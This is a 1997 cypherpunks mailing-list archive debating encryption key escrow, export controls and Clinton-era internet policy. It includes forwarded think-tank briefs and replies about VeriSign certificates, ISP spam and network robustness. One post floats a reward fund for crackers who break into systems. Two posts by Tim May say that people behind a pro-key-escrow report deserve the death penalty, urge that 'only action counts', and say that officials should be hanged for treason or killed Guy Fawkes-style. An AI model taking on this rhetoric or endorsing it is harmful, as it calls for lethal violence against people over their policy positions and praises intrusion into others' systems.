assured that encryption will be reliable and easily
interoperable (e.g., to manage interfaces between
various network systems). A domestic public key
recovery infrastructure is the answer to these
requirements,

A public key recovery infrastructure is, however,
particularly essential for law enforcement.
Increasingly, criminals are utilizing techniques to
encode their phone calls, concealing their computer
transmissions and keeping their records locked up in
encrypted computer disks or drives, rather than in
file cabinets. Subject to the limits of U.S.
constitutional guarantees, law enforcement needs to be
able to continue to do its job in the information age.
Law enforcement does not need more intrusive
authorities or abilities than it has now; it needs
merely to be able to continue to be able to make use
of the same investigative techniques presently
available with respect to wiretaps.

Alternatively, if the government does nothing but
passively watch as encryption proliferates with no
standards to guide it, law enforcement will lose
critical investigative capabilities. In all
likelihood, it will be forced to turn to more
intrusive techniques (microphones in the room or car
rather than taps on telephones), measures that are
more invasive of privacy and which put more police
officers' lives at risk. Criminals (drug dealers,
kidnappers, thieves) will enjoy safe havens they do
not presently have, and more good citizens will find
themselves victims of unsolved crimes.

Regrettably, the Clinton Administration has been
unwilling to stand up and say, here is what needs to
be done -- perhaps out of a fear of alienating a key
constituency, the computer industry. The
Administration clearly appreciates the need to support
law enforcement (law and order is, after all, good
politics). But when asked, its spokesmen say they are
afraid their endorsement of a domestic policy would
prejudice its chances of enactment, citing their
experience with the public relations disaster of an
earlier encryption management initiative known as the
"Clipper Chip." The truth is that there is no one
better positioned than President Clinton to provide
leadership, given his well known ties to the hardware
and software industries.

2. Export Controls

In some respects, the Clinton Administration's policy
has been worse than doing nothing: It has tied the
domestic encryption issue to liberalizing export
controls on encryption techniques, ostensibly in the
hopes of buying the support of the producers of
encryption products for greater cooperation with
regard to domestic key management arrangements. This
is most regrettable since export controls are the
single most important tool the United States has for
protecting sensitive national security interests in
this arena.

The unavoidable reality is that U.S. national security
is heavily dependent on being able to collect
intelligence by listening in on what its adversaries
-- actual and potential -- are up to. This
intelligence saves lives, wins wars, and preserves the
peace. And in an era of information warfare, having
superior information systems may be determinative of
military power.

This reality was reflected until last year by treating
encryption technologies as part of the State
Department's Munitions Control List. President
Clinton's Executive Order, however, moved export
controls on such technology over to the much less
rigorous Commerce Department. It also further
adulterated the export controls regime by directing
that: 40-bit encryption programs may be exported
without a license; 56-bit encryption programs may be
exported without a license provided the exporter is
working on a public key recovery technology base; and
any product that is part of a public key recovery
system may be exported without a license.

American products should enjoy the lion's share of the
market (U.S. software has 75% of the global market
today), but U.S. exporters of highly capable "crypto"
-- 40-bit and above -- should be required to get a
license to minimize the likelihood that their products
will fall into the wrong hands. Any further weakening
of export controls would have a deeply debilitating
impact on national security. With all of the focus on
domestic encryption regime, and with no advocacy from
the Executive Branch, national security interests are
not being represented -- and are losing out.

3. International Dimension

To make matters worse, the Clinton Administration --
under the "leadership" of a controversial former
Carter Administration official, David Aaron, who has
been designated as its "Ambassador for Encryption" --
has come up with a curious and dangerous gimmick: It
proposes to "multilateralize" yet another area of
sovereign U.S. policy concern(3) by getting OECD
nations to take the lead in an area it is reluctant to
champion domestically, namely in implementing national
key recovery regimes.

As in other issues -- ranging from environmental
regulation to family planning -- the Administration
appears to hope that the creation of common
international practice and standards will provide a
basis for imposing arrangements domestically that
would otherwise be highly controversial, and perhaps
politically costly. Not surprisingly, the
Administration has come under some criticism from
allies for the hypocrisy of trying to make them go
first with respect to developing key recovery
infrastructures even as it declines to step up to the
issue at home.

But this is worse than simple hypocrisy. It is flatly
inconsistent with American values for U.S. officials
to argue that foreign governments -- many of which do
not recognize the basic individual rights of their
citizens -- should have unfettered access to their
private communications. Few of these governments
actually observe the strict limitations on electronic
surveillance which pertain in the United States. It is
one thing for the U.S. to have a domestic key recovery
regime which is subject to the rigorous and proper
constraints of its Constitution and system of justice.
It is quite another to say that, as a foreign policy
objective of this country, Washington wants to
guarantee the ability of foreign governments to spy on
their own citizens, or (worse) on Americans who may
communicate with those foreign citizens or travel
within those countries.


The Bottom Line

The Clinton Administration appears once again to have
gotten the answers exactly wrong. Their efforts have
confused the debate and helped to divide the ranks of
those who generally are concerned with national
security -- even as they are jeopardizing vital
national security interests, evidently out of a desire
to avoid antagonizing major political donors.

Domestic policy, export controls, and international
accords concerning encryption are different concerns,
each in need of understanding and debate on the
merits. And the vital American national security
requirement for electronic intelligence abroad must be
supported. On an even more fundamental level, those
who traditionally are sensitive to national security
concerns must not allow differing perceptions of
domestic law enforcement to translate into legislation
that may not only endanger the defense of the United
States but undermine its rule of law domestically. A
lawless society is no defender of American liberties.

The undeniable fact is that U.S. national security is
dependent upon our ability to collect intelligence in
peacetime on foreign threats, from terrorist groups to
the proliferation of "weapons of mass destruction" to
the status of thousands of nuclear-tipped missiles in
potentially unfriendly hands. Likewise, success in
foreign matters (from trade to diplomacy to support
for friends and allies) requires intelligence to
identify opportunities for the U.S. officials to act
in defense of our values and interests around the
world.

The U.S. ability to gather SIGINT therefore is not
something about which responsible Americans can afford
to be ambivalent. This is a vital national security
priority. And it is, to be sure, one that must take
precedence over the commercial advantages of selling
U.S. software abroad.

1. During both World War II and the half century of
the Cold War, SIGINT was far and away the most
important type of intelligence the U.S. gathered.
Without the ability to collect and read enemy codes
and ciphers, the U.S. might well have lost the Second
World War. Without SIGINT, the Cold War might have
ended far differently and might well have turned into
a hot war at critical junctures; certainly, the U.S.
would have been almost blind to many of the Soviet
Union's malevolent activities.

2. It is unclear on what basis other industries
selling sensitive products -- for example, the
supercomputer, chemical and biotechnology, machine
tool, chip manufacturers, etc. -- would be denied
similar vehicles for demanding the elimination of any
remaining export controls on the transfer of their
respective products. What is more, it not self-evident
that the national security will be well served by
advertising which foreign encryption products are of
concern to the U.S. government, let alone encouraging
American manufacturers to supply superior -- i.e.,
less breakable encoding techniques -- in place of such
products.

3. See in this connection, the Center's Decision Brief
entitled Truth or Consequences #9: C.W.C. Proponents
Dissemble About Treaty Arrangements Likely to Disserve
U.S. Interests (No. 97-D 46, 27 March 1997).

***************

Americans for Tax Reform

Memo To: Frank
From:    Jim Lucier
CC:	     Friends
Date:	 June 26, 1997

Re:	Encryption and National Security

Dear Frank:

I think we both agree that total U.S. dominance of all
technologies across the board is a vital guarantor of
national security.  We disagree on factual premises.

The powerful encryption methods under discussion are
universally published mathematical techniques taught
in universities everywhere to people like my brother
who studied them at the undergraduate level. I
particularly recommend the fine textbook by Bruce
Schneier, Applied Cryptography.

It is a mistake to assume this information, once
disseminated, can be controlled.  It is also incorrect
to assume there is only one type of encryption which
the U.S. could somehow keep secret.  In fact, there
are an infinite variety of techniques, some more
elegant than others and all with their quirks, but
many offering effective security.  Indeed, almost any
routine that manipulates data --including file
compression algorithms -- can be considered a type of
encryption.

The case of encryption is dramatically unlike that of
supercomputers, where one or two manufacturers in the
U.S. may be uniquely capable of producing cutting edge
equipment.

Bad actors will not voluntarily participate in a key
management system they can easily opt out of. The
impact on crime will be zero. Only law-abiding people
will be trapped in a system that opens them to maximal
violations of privacy by governments and technically
sophisticated rogue agents.

This is not a case of greedy software companies that
want to "sell encryption" overseas. In fact,
encryption software is a low-margin commodity product
that only a few specialists sell profitably.  U.S.
companies want to sell high-margin products like Lotus
Notes, cc:Mail, Domino, secure servers, and Oracle
databases, and sophisticated financial management
tools that operate in a networked environment. U.S.
companies dominate the market for these
enterprise-wide, mission-critical applications.  For
now.

The problem is that without encryption modules, the
American products are useless for conducting secure
business, and the power of networking, which gives
them their unique value-added quality, is eliminated.
U.S. regulations even prohibit American companies from
selling software with "hooks," where foreign-made
encryption products can be plugged in.  The result is
increasing inroads by foreign competitors.  The
German, Japanese, and Chinese governments are
pointedly encouraging their programmers to make hay
while they can. Dozens of companies around the world
explicitly advertise that they sell products not
subject to U.S. export restrictions.

There is also the chance that the United States will
lose the opportunity to set and dominate standards in
vital areas such as digital currency, which involve
encryption now subject to control.  Currently,
Europeans lead in this field.

The use of telephone wiretaps has exploded under the
Clinton Administration, and under legislation passed
last year the number of people impacted by telephone
wiretaps is slated to grow still further. For many,
this gives ample ground to doubt that wiretaps are
used sparingly, or that cases of abuse are minimal.

The real restraint on the use of telephone wiretaps is
that they are very expensive, and they require human
intervention.  Technology does not yet allow machines
to monitor calls.  On the Internet, by contrast,
"packet sniffing" is virtually cost-free, and the
packets of data are machine readable. Thus there is
nothing to prevent widespread abuse of privacy.  The
single-sentence Frist Amendment to McCain-Kerrey which
purports to solve this problem is totally meaningless.

The claims of law enforcement are wildly exaggerated
and not offered in the context of any statistical
evidence to make serious risk assessment possible.
Strong encryption is dangerous?  Compared to what?  No
encryption? A government-sponsored system only
incompetent criminals will use?

For decades people have been predicting the death of
SIGINT.  It never happens. The reason is that as the
volume of communications goes up, the opportunities
for SIGINT also increase. In a networked environment,
virtually any interaction with legitimate businesses,
and even public infrastructure, can create a database
of transaction streams greatly useful to law
enforcement and intelligence agencies, who can examine
this data with powerful heuristic searching tools. The
information age will give, and is giving, law
enforcement officers and intelligence agencies
astonishing new powers. Law enforcement officials who
claim they will be powerless in the future are being
somewhat disingenuous. What really worries them is
missing the opportunity to gain powers they dont have
now, plus the stress of learning to operate in a
different environment.

The key management infrastructure (KMI) called for in
McCain-Kerrey is a fiction.  Detailed technical
standards for such an infrastructure do not exist and
may take several years to develop.  A recent technical
paper by leading private-sector cryptographers claims
that the requirements of building a KMI are beyond the
current expertise of the field.  A central problem is
that the Justice Department's insistence on real-time
access to data in transit is not consistent with
existing models of key recovery for stored data.

If KMI works, it offers no advantage and many grave
dangers.  If it doesn't work, it is a costly drain on
the economic sectors currently driving U.S. economic
growth. A global KMI in which the U.S. arbitrarily
limits its own information security and somehow
expects other countries to participate is an atrocious
idea.

Reasonable people can debate the issue of export
controls.  The weight of evidence suggests that
controls should be loosened, but there can be
legitimate argument  of how far and how quickly we
should go.  The McCain-Kerrey bill is by no means  a
"compromise" on export controls. It is legislation
totally different from the Burns, Goodlatte, and Leahy
proposals Congress has long been considering.  For the
first time, McCain-Kerrey would seek to impose
controls on U.S. domestic use of cryptography through
a combination of regulation, criminal penalties, civil
liability exposure, and taxpayer-financed industrial
policy.

It is highly significant that the Administration
forced this legislation through the Commerce Committee
without a single day's hearings. Senators were given
only three days to study the legislation and supplied
with misleading and incorrect information about who
supported it.  McCain-Kerrey probably could not have
withstood public scrutiny in the Commerce Committee.
As it is, the bill will very likely never move to the
Senate Floor, but the Administration now has
substantial leverage to pursue its regulatory agenda.

The relaxation of exportable key lengths from 40- to
56-bits is not a sop to industry but a pathetic
offering that raises the time-to-break for a foreign
intelligence agency stealing U.S. trade secrets from
..0002 seconds to 12 seconds.  McCain-Kerrey actually
represents a step backward from previous
Administration positions on the issue of export
controls and exemplifies the bad faith and
intransigence this Administration has consistently
shown.  Last year, for instance, the Administration
announced it was relaxing export controls from 40 to
56 bits and then reversed itself, saying the
relaxation, if offered, would only be temporary and
contingent on businesses developing plans to comply
with Administration key-recovery standards.  In short,
the Administration has been using export controls
solely as a club to get unprecedented domestic
regulation.

In economic terms, McCain-Kerrey represents a stunning
arrogation of power by Congress to itself for the
purposes of regulating digital commerce which, as the
digital age begins, is probably at least as
significant as the Communications Act of 1934.  This
makes the "three days-no hearings" approval process in
committee all the more astonishing.

A vigorous national security debate is welcome on this
issue.  The issue of encryption involves profoundly
difficult choices and any decisions we make must be
taken with grave deliberation and great care.  We can
postpone these choices but we cannot put them off
forever. Ultimately, these decisions turn on findings
of fact as to whether control of encryption is still
possible. The Administration has made no effort to
show its entire proposal is not based on wishful
thinking and a regulatory mindset.

The United States does have enormous investment in its
SIGINT capabilities, which are many and varied.  These
will also not disappear overnight. But tomorrow will
not be like today.  Peter Drucker has written movingly
of the stress undergone by companies who feel they owe
their existence to a particular product but who
discover that markets have changed and they must do
something different.  Companies that succeed are the
ones that can innovate.  A similar mindset is in order
for national security policy. The United States has
always competed by out-innovating our adversaries, and
on this basis we have always won.

The risk to be avoided all costs is a Maginot Line
mentality. French planners obsessed with fighting the
first World War lavished untold fortunes and
considerable engineering brilliance on a structure
that was not only useless in the following conflict
but locked France into a defensive posture that
guaranteed France would be defeated in days by the
Germanys mechanized army.

The fundamental national security interest of the
United States is best served by total dominance of
world markets in information technology as well as
information technology products and services,
financial services, telecommunications and a host of
other fields.  Our goal should be raw commercial power
in all these areas -- especially information products
and information flows -- backed by impressive military
and intelligence capabilities. However, we do not reach
this goal by saddling U.S. business with irrational
regulation and ill-conceived industrial policy.

When U.S. companies dominate the world markets for
advanced management software which foreign businesses
must use to remain competitive and telecommunications
services which have no equal on the planet, there is
tremendous scope for the NSA to work productively with
U.S. business. Indeed, the national security community
has long enjoyed such a relationship, and law
enforcement agencies are well-advised to develop one.
The essence of such a relationship, however, is that
it must be maintained quietly.  We do not need to
advertise worldwide exactly how the United States
plans to conduct its foreign intelligence or how law
enforcement agencies, in truly exceptional and
Constitutionally permissible cases, plan to conduct
domestic surveillance.

Meanwhile, we must remember that the United States has
the most to protect in terms of intellectual property,
proprietary knowledge, global business dealings, and
critical information infrastructures that keep all
aspects of our societyincluding the military and
strategic onesrunning smoothly.  We should be the
worlds masters of encryption, the tools to break it,
and the ways of getting around it. We should protect
our information security by having a diversified
environment that relies on no one government-mandated
information standard.

It should be a stated goal of U.S. policy in the
Information Age and the global economy to force
totalitarian societies and welfare states to play by
our rules or collapse. Our friends in Europe need a
wakeup call.  Our trusted allies in Asia need
reassurance the United States can still exert powerful
influence in their region.  Developing nations need
the model of U.S. economic growth. Russia must see
unthreatening but overwhelming U.S. power.  The
Chinese regime should experience outright
destabilization when its totalitarian system breaks
down under a coordinated U.S. information technology
assault through peaceful means such as Radio Free Asia
and Internet communication. These are worthy goals,
and they are eminently attainable, as long as
technology boondoggles dont sidetrack us along the
way.

In short, I salute you for making the best possible
case for caution at a time when caution is due.
However, it is also a time to examine a changing world
carefully and prepare for the future as best we can.
Let's set our sights on a new American Century.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 17 Jul 1997 22:29:53 +0800
To: neumann@csl.sri.com
Subject: i miss carol anne cyphergrrl
Message-ID: <199707171415.QAA06056@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



or whatever her name was.


A dangerous radical named Steve allegedly typed:

> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.



The problem is economic.  During info-peace-time non-
robust networks are cheaper.  Redundancy and other robustness 
techniques are an expense that doesn't pay back.

During info-peace-time.


Under duress-- be it accidents, load, or info-war-- such 
designs are inadequate.


What's the solution?  I dunno.


Here're some options:


A.  Make design which is robust under attack but still cheap 
for everyday use.  Not sure if it is feasible.


B.  Convince people to spend more on robustness of systems.  
But this is infeasible on a huge scale and in anarchic and 
uncoordinated social system e.g. Internet.


C.  Hire info-warriors to attack systems, hopefully doing as 
little permanent damage as possible but achieving enough 
penetration to convince even the most thick-headed manager that
his system is weak.


Hence I propose a fund, The Randall Schwartz Memorial Cracking
Reward Fund, which will regularly award dcash payments to the 
cracker who most illustriously exposed the weaknesses of 
system.  Scaring the pants off of the managers and leaders is 
a plus.  Enlightening the public about the dangers of a 
specific system or technique is a plus.  Scaring the public 
into thinking that all systems/networks/computers/software are
dangerous is arguably a plus or a minus.  :-)


Doing permanent damage or unnecessary disruption of service is
a big minus.  Usually a calling card saying "Soo Do Nym was 
here" is sufficient.


The pay-off could be instituted by way of an "Assassination 
Systemics" scheme (which is merely an application of Idea 
Futures, of course), in which the bettor who most accurately 
predicted the time and other details of the target system's 
penetration receives the bulk of the winnings.


I hereby bet 10 cyberbucks that no clever hacker will be able 
to redirect "www.internic.net" to point to AlterNIC.



Zooko Journeyman

"We are an internation of code and not of laws."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 07:37:48 +0800
To: cypherpunks@toad.com
Subject: PFF's Jeff Eisenach: "Time to Walk the Walk on Telecom Policy"
Message-ID: <Pine.GSO.3.95.970717162542.19394H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---------

July 2,1997

Time to Walk the Walk on Telecom Policy

by Jeffrey A. Eisenach
The Progress & Freedom Foundation

Thanks to Ira Magaziner -- of all people -- the
Clinton Administration has finally learned to talk the
free market talk that brings joy to denizens of the
Internet. Now, as always with this Administration, the
question is whether it will also walk the walk.

Magaziner deserves real credit for crafting the
Administration's new "Framework for Global Electronic
Commerce." In language that could have come from the
Cato Institute (or my own Progress & Freedom
Foundation), it credits the amazing growth of the
Internet to the relative absence of intrusive
government regulation. And it concludes that the
Internet should remain "a market-driven arena, not one
that operates as a regulated industry."

The paper -- and the process that created it -- has
already had a salutary impact on Administration
policy. The White House has now backed away from its
previous support of the Communications Decency Act in
favor of "industry self-regulation, adoption of
competing rating systems and development of
easy-to-use technical solutions." And last month,
Treasury Undersecretary Larry Summers, reportedly at
Magaziner's urging, had very positive things to say
about the "no new taxes on the Internet" legislation
sponsored by Congressman Chris Cox and Senator Ron
Wyden.

The Administration's conversion to a free market view
of the Internet is, however, far from complete -- even
rhetorically. Most importantly, the Framework's
treatment of telecommunications regulation amounts to
an endorsement of the Federal Communications current
policies -- policies that are, if anything, more
regulatory than before passage of the supposedly
deregulatory Telecommunications Act of 1996.

Following the path laid out by Vice President Gore and
outgoing FCC Chairman Reed Hundt, the Framework
ignores the fact that technological innovation is
rapidly ending the "natural monopoly" characteristics
of the market for local telephone (and Internet)
access. What government should be doing in this
context is allowing marketplace incentives to work,
thereby encouraging new technologies and new
competitors to turn the potential for local access
competition into a reality.

What it is doing, under the FCC and with the apparent
blessing of the Framework, is continuing a price
regulatory regime that destroys marketplace incentives
for the development of new technologies and
competitors. The Framework, which begins by stating
that "government attempts to regulate are likely to be
outmoded by the time they are finally enacted," ends
up endorsing the idea of "implementing, by an
independent regulator, pro-competitive and flexible
regulation that keeps pace with technological
development." Nice fantasy -- but in contrast to the
reality of the FCC's implementation of the
Telecommunications Act, it comes off as nothing but a
bad joke.

Telecommunications is not the only problem area with
respect to policy. Most notable among the others:
Encryption, where the Administration stubbornly
adheres to its unworkable, privacy-invading notion of
"key escrow" for encryption software -- i.e., giving
the police the key to your house in advance in case
they decide later they want to conduct a search.

Still, problems aside, what we have from the Clinton
Administration is a real and laudable move -- partly
rhetorical and partly real -- in the direction of less
regulation of the Internet. For the most part, the
Administration is now talking the deregulatory talk.
Will it also walk the walk?

Here are three giant steps that would go along way to
proving the Administration means what it says.

First, will the Administration appoint a new FCC
(there are four vacancies, including the chairmanship)
that understands the idea of dynamic competition to
erode natural monopolies? The FCC's current "managed
competition" approach is inconsistent with the broader
principles of the Framework and hugely destructive to
the innovation and entrepreneurship the paper
emphasizes so strongly. A new Commission would no
doubt want to re-think the Commission's recent rulings
with respect to Interconnection and Universal Service,
both of which represent massively regulatory
approaches to problems the free market can largely
solve.

Secondly, will it specifically endorse the Cox-Wyden
legislation prohibiting discriminatory taxation of the
Internet? Saying nice things about the bill is one
thing; endorsing it and working for passage is
something else.

Third, will the Administration support the new
legislative agenda being developed and soon to be
introduced by Senator Conrad Burns and Congressman
Billy Tauzin (chairs of the Senate and House
telecommunications subcommittees)? Among other things,
this legislation is expected to declare "enhanced
services" (including broadband Internet access
services) an essentially regulation-free zone --
exactly the sort of thing the Framework says the
Administration should support.

Free marketers want to believe the Administration has
seen the light on regulating the Internet. Our message
now is simple: Take three giant steps -- and throw
away on the key on key escrow -- and show us you
really mean it.

###










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Fri, 18 Jul 1997 04:13:30 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: A.Jensen doesn't like Sympatico.ca
In-Reply-To: <7HuZ0D1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.96.970717164301.8372E-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> They hate Toto's ISP:

Funny thing is that Sympatico.ca is NOT some fly-by-night ISP, but one of
the larger ISPs and has the deepest pockets. Sympatico is run by
the Stentor group, which is the Alliance of the provincal 'Bell' companies
in Canada. 

Each province buys the basic 'francise' from MediaLink (??) in Upper
Canada, and resells it and packages it how they want. 

I use Sympatico in New Brunswick (nb.sympatico.ca) which is a repackaging
of their NBNet service, but the admin is not the same as SaskTel
(sk.sympatico.ca) or Bell Canada (Ontario symaptico.ca). 

The problem is with is spam is not they do more of it, they are most
likely underqualified to fix the problem of non-Sympatico users using the
various Sympatico SMTP servers are a relay.

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
"Nothing in this message should be assumed true."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 08:12:15 +0800
To: cypherpunks@Algebra.COM
Subject: Center for Security Policy deserves death penalty
In-Reply-To: <Pine.GSO.3.95.970717160055.19394C-100000@well.com>
Message-ID: <v03102800aff46417ea5d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:01 PM -0700 7/17/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Thu, 17 Jul 1997 16:00:27 -0700 (PDT)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship-announce@vorlon.mit.edu
>Subject: Center for Security Policy calls for domestic key escrow
>
>In the boxing ring of Washington, the Center for
>Security Policy packs a hefty punch. Its faxed alerts
>appear once or twice a week on the desks of thousands of
>key decisionmakers. They're predictably hawkish, with
>titles like "The Nation Needs MORE B-2s."
>
>A recent one focused on encryption. The message: The
>Clinton administration isn't doing *enough* to control
>crypto, especially domestically:
ture (i.e., establishing means whereby
,,,

Every person associated with that heinous report has earned the death penalty.

It's time to stop talking or listening to these criminals. Only action counts.

(By the way, I think Netscape and Microsoft are coming perilously close to
simply deserving whatever befalls them. Fucking criminals.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 08:20:51 +0800
To: cypherpunks@Algebra.COM
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <Pine.GSO.3.95.970717162542.19394H-100000@well.com>
Message-ID: <v03102801aff4655f3759@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:25 PM -0700 7/17/97, Declan McCullagh wrote:
>---------
>
>July 2,1997
>
>Time to Walk the Walk on Telecom Policy
>
>by Jeffrey A. Eisenach
>The Progress & Freedom Foundation
>
>Thanks to Ira Magaziner -- of all people -- the
>Clinton Administration has finally learned to talk the
>free market talk that brings joy to denizens of the
>Internet. Now, as always with this Administration, the
>question is whether it will also walk the walk.

To use their own Yuppie expression, "will it 'walk the walk' down the gang
plank"?

The only thing the Administration can do is to do _nothing_. Gibberish
about the freedom of the Net while other departments speak of key escrow
and content control is a meaningless gesture.


>easy-to-use technical solutions." And last month,
>Treasury Undersecretary Larry Summers, reportedly at
>Magaziner's urging, had very positive things to say
>about the "no new taxes on the Internet" legislation
>sponsored by Congressman Chris Cox and Senator Ron
>Wyden.

Taxes are already essentially uncollectable, even in interstate
transactions, so the moves by Summers and Magaziner are truly token
gestures.

Their continuing support for GAK and content control are what has earned
them only our vicious enmity.


>Telecommunications is not the only problem area with
>respect to policy. Most notable among the others:
>Encryption, where the Administration stubbornly
>adheres to its unworkable, privacy-invading notion of
>"key escrow" for encryption software -- i.e., giving
>the police the key to your house in advance in case
>they decide later they want to conduct a search.

Oh, yeah, this minor issue of their demanding access to diaries, phone
calls, e-mail, and other computer-mediated communications without so much
as a search warrant.

They all deserve to be hung for treason, or dispatched the old-fashoned way
(a la Guy Fawkes).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 08:49:31 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <33CEB925.3B4C45D7@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> Forwarded from PGP-USERS list:
> > First PGPInc and now VeriSign? Hmmm. Is this telling us something?
> 
>      "VeriSign on Monday said it received permission from
>        the U.S. Department of Commerce to export 128-bit
>        strong encryption software and issue digital
>        identifications to approved organizations based on
>        that software. "
> 
>      "Under the 128-bit scheme approved by the U.S.
>       government Monday, companies will not need to
>       place their encryption keys in escrow, or submit
>       to U.S. government key-recovery requirements in
>      order to use VeriSign's software, company officials said."

What this means is that VeriSign is now allowed to issue the "magic
banking certs" for servers that allow them to communicate with the
export version of Communicator using 128-bit SSL.

On the other hand, it's also meaningless until "approved organizations"
start getting approved.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 06:47:25 +0800
To: declan@well.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
In-Reply-To: <Pine.LNX.3.95.970717175139.11493B-100000@vorlon.mit.edu>
Message-ID: <199707172230.RAA04879@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970717175139.11493B-100000@vorlon.mit.edu>, on 07/17/97 
   at 05:51 PM, Declan McCullagh <declan@vorlon.mit.edu> said:

Declan,

I sniped this from your forwarded post:


>White 1995                                 White House 1997
>--------------------------------------------------------------------------------

>Content Regulations imposed                No content regulations, no law
>by Congress on all Internet                or regulation of Net, no
>requiement Publishers.                                to label or rate
>content.

>Criminal Penalties for                     No criminal penalties for
>anything display of Harmful To                      besides trafficing in
>child Minors Material w/o good                   pornography, obscenity
>or faith effort to block                      stalking kids online
>(illegal before kids access                                CDA)


Do you have any docs or transcripts from the meeting with the White House?

What is being claimed above about the current proposal and what I ahve
been hearing here are two differnet things. It was my understnding that
the current proposal was very much like the White proposal in '95.

Any clairifcation you can provide on this matter would be appreciated.

Thanks,



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM86PuI9Co1n+aLhhAQGs9wP/RPNSdQxvRvWgThjPGWG6wbS0m4wyjaPz
K1psZ+UZwsng3htjbo9KF023NfQMJo4+soQk7UkZiD8du4WejBQWA6epGmM6/MB7
12FwSwnRz0EmruUrC7sGYq3TcG2f3DP2mEF5znQjcCYKnbn0nmcYFpSQJc+Hy/nR
gcVOqvaW4gI=
=C+sN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 08:50:29 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <33CEBACC.31388B70@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> The cert is typically valid for a year, but is subject to revocation
> at any time by VeriSign upon the USG's request. Such revocation or
> refusal to issue a new cert after the first year of operation will
> leave the webserver operator with a server that is no longer able to
> encrypt communications to their customers in any meaningful way,
> thereby effectively shutting down Internet based operations of the
> company unfortunate enough to invest in such a flawed solution.

I don't know the details of the agreement between VeriSign and the
USG.  I'm curious: how will the CRL for this revocation get distributed?
Since Communicator doesn't automatically pull CRLs, how can any action
on VeriSign's part disable crypto for that server?  Or are you
suggesting that as part of the revocation process, the USG will bust
down their doors and grab all copies of their private keys?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 18 Jul 1997 06:14:23 +0800
To: cypherpunks@toad.com
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
Message-ID: <Pine.LNX.3.95.970717175120.11493A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
